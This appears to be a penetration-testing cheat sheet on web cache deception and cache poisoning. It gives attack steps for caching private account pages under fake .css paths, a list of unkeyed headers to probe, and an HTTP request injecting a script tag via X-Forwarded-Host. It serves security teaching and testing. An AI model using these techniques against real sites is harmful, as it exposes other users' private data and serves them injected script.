Web Cache Deception Attack

Tools

- Param Miner - PortSwigger

> This extension identifies hidden, unlinked parameters. It's particularly useful for finding web cache poisoning vulnerabilities.

Exploit

1. Browser requests `http://www.example.com/home.php/non-existent.css`.
2. Server returns the content of `http://www.example.com/home.php`, most probably with HTTP caching headers that instruct to not cache this page.
3. The response goes through the proxy.
4. The proxy identifies that the file has a css extension.
5. Under the cache directory, the proxy creates a directory named home.php, and caches the imposter "CSS" file (non-existent.css) inside.

Methodology of the attack - example

1. Normal browsing, visit home : `https://www.example.com/myaccount/home/`
2. Open the malicious link : `https://www.example.com/myaccount/home/malicious.css`
3. The page is displayed as /home and the cache is saving the page
4. Open a private tab with the previous URL : `https://www.paypal.com/myaccount/home/malicous.css`
5. The content of the cache is displayed

Methodology 2

1. Find an unkeyed input for a Cache Poisoning

```
Values: User-Agent
Values: Cookie
Header: X-Forwarded-Host
Header: X-Host
Header: X-Forwarded-Server
Header: X-Forwarded-Scheme (header; also in combination with X-Forwarded-Host)
Header: X-Original-URL (Symfony)
Header: X-Rewrite-URL (Symfony)
```

2. Cache poisoning attack - Example for `X-Forwarded-Host` unkeyed input (remember to use a buster to only cache this webpage instead of the main page of the website)

```
GET /test?buster=123 HTTP/1.1
Host: target.com
X-Forwarded-Host: test"><script>alert(1)</script>

HTTP/1.1 200 OK
Cache-Control: public, no-cache
[..]
<meta property="og:image" content="https://test"><script>alert(1)</script>">
```

References

- Web Cache Deception Attack - Omer Gil
- Practical Web Cache Poisoning - James Kettle @albinowax
- Web Cache Entanglement: Novel Pathways to Poisoning - James Kettle @albinowax
- Web Cache Deception Attack leads to user info disclosure - Kunal pandey - Feb 25
- Web cache poisoning - Web Security Academy learning materials
    - Exploiting cache design flaws
    - Exploiting cache implementation flaws